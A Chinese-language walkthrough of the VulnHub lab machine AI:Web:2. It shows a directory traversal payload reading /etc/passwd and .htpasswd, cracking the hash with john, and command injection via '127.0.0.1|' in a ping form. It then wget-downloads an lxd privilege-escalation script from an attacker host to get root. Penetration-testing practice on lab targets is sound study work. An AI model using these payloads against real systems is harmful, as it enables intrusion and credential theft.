AI:Web:2
靶机地址
https://www.vulnhub.com/entry/ai-web-2,357/
Description
这是系列AI: Web的第二个盒子,你将有更多的乐趣来破解这个挑战。目标很简单。从/root/flag.txt获取标志。枚举该框,获取低特权shell,然后将特权提升到root。你可能需要破解密码。使用丹尼尔·米斯勒先生的word list sec lists/rock you-45.txt。
工具、知识点和漏洞
netdiscover
nmap
dirsearch
searchsploit
john
目录穿越(Directory Traversal)漏洞
远程命令执行(RCE)漏洞
Ubuntu 18.04 - ‘lxd’ Privilege Escalation
一、信息收集

我们开始渗透的第一步了,开始靶机之后,我们首先进行的是进行信息收集,我们拿到一个靶机,并不知道他的账号和密码,也无法登录进去,我们只能扫他的ip地址,进行下一步的渗透。
我们扫描同一网段有哪些主机存活,也可以用nmap去扫同一网段下有哪些主机
arp-scan -l

我们发现除了本机的1,2,254和kali的128网段外,还有一个主机存活,就是149了,所以靶机的ip地址就是192.168.231.149了。
nmap -sS -sV 192.168.231.0/24 (扫网段)


nmap -sS -sV 192.168.231.149 -p- 1-6000 (全端口扫描)

通过扫描,发现存在了80和22端口开放
我们看一下80端口的服务
http://192.168.231.149:80

我们需要注册,才能登录进去,这里我注册了一个admin账号,进去了

进去之后,什么也没有,只有一个提示,Welcome to XuezhuLi FileSharing(欢迎来到李雪主文件共享)

二、目录穿越获取后台账户密码
这应该是一个历史漏洞,我们去漏洞平台去查看一下
https://www.exploit-db.com/,搜索提示内容,XuezhuLi FileSharing
我们点击第二个看一下



大概可以看到,应该是一个目录遍历漏洞。
我们可以构造payload,我们先扫一下,当前网站有哪些目录吧,这里用dirsearch来扫目录


发现还不少目录嘛,在这里我们看到download.php是可以执行的
395a1.png)

很意外,里面什么也没有,我们看到之前的构造有download.php,会不会是包含文件了呢,我们试一下
我们构造一下语句
http://192.168.231.149/download.php?file_name=…/…/…/…/…/…/…/…/…/etc/passwd

发现爆出了用户的信息

有两个用户存在

我们在包含一下apache2的认证文件,查一下
http://192.168.0.108/download.php?file_name=…/…/…/…/…/…/…/…/…/…/…/…/…/etc/apache2/.htpasswd
打开里面内容是账号和密码:
aiweb2admin:
a
p
r
1
apr1
apr1VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/

这是我们可以用john进行爆破获取密码
我们先创建一个文件1.txt,用于存放这个密码
vi 1.txt
cat 1.txt

我们采用john的字典模块,进行爆破,其中的,list.txt字典是前面提示中提供的word list sec lists/rockyou-45.txt这个字典。
john --wordlist=/home/zhian/list.txt 1.txt

john --show 1.txt

aiweb2admin:c.ronaldo
我们就得到账号aiweb2admin,密码:c.ronaldo
这个用户是ssh登录密码还是后台登录密码呢,我们都试一下,先试试是不是ssh的登录密码

访问被拒绝了,所以应该不是ssh的登录账号和密码,可能是后台的,我们看一下有什么后台目录

发现有webadmin网站目录
先登入一下后台,发现它给的提示的网络爬虫协议 访问一下http://192.168.0.105/webadmin/robots.txt
发现了两个路径分别是 /H05Tpin9555/ 和 /S0mextras/ 依次进行访问


http://192.168.231.149/webadmin/robots.txt

User-agent: *
Disallow:
Disallow: /H05Tpin9555/
Disallow: /S0mextras/
这里访问第一个路径 /H05Tpin9555 存在一个ping的对话框 怀疑是命令执行漏洞 第二个路径/S0mextras/下没有发现什么新东西。
http://192.18.33.135/webadmin/HOSTpin9555/

http://192.168.33.135/webadmin/S0mextras/

命令执行漏洞

尝试了&、&&、;、|四种绕过执行单一命令的限制,发现|可以绕过,也可以用burp抓包试一下




127.0.0.1|ls 绕过成功(-la无法识别)
执行127.0.0.1|ls -al /var/www/html/webadmin/S0mextras/,但是并没什么用
然后查看有哪些文件,发现只存在一个index.html文件,怀疑存在隐藏文件

隐藏文件一般都是"."开头的,可以使用find命令:127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/

使用命令:127.0.0.1|find …/S0mextras/ . -type f 2>/dev/null 发现了个隐藏文件 可能是ssh 账号的密码文档 进行访问查看


找到了许多的隐藏界面,我们分别一一进行访问查看
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
http://192.168.231.149/S0mextras/.sshUserCred55512.txt

ssh登录
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
账号:n0nr00tuser 密码:zxowieoi4sdsadpEClDws1sf使用ssh登入 发现登入成功!!!

三、提权
登入成功先看一下权限 使用命令:id ,uname -a cat /etc/os-release发现权限很低,先sudo -l 看一下 还是没有权限

使用python提升至交互式shell,方便我们观看和后续操作
python -c ‘import pty;pty.spawn(“/bin/bash”)’

使用命令:find / -perm -u=s -type f 2>/dev/null 查看二进制文件

使用命令searchsploit linux 18.04 搜一下相关版本看看系统有啥漏洞可以利用

wget http://192.168.231.129/46978.sh

查看利用.sh文件 第一步需要下载build-alpine ,第二步运行里面的build alpine然后给靶机运行就可以得到root
https://github.com/saghul/lxd-alpine-builder/

现在好了拖到kali里面 然后解压 运行./build-alpine 会下载一个apk的文件
然后ls一下会发现多了一个命名规则是年份日期的,然后把这个传到靶机中。



wget http://192.168.231.129/alpine-v3.16-x86_64-20221001_1723.tar.gz

chmod +x 46978.sh
chmod 777 alpine-v3.16-x86_64-20221001_1723.tar.gz
./46978.sh -f alpine-v3.16-x86_64-20221001_1723.tar.gz

将这个压缩文件与之前的脚本46978.sh放于靶机的同目录下

从图中可以看到第一次运行46978.sh的时候出错了,解决办法参考这篇文章
解决方法很简单,就是vi 46978.sh,进入后,修改第一行的bash为unix后,保存退出后,再修改为bash,退出后,就可以执行脚本了。

四、获取flag
使用命令:find / –name flag*



1万+

被折叠的 条评论
为什么被折叠?



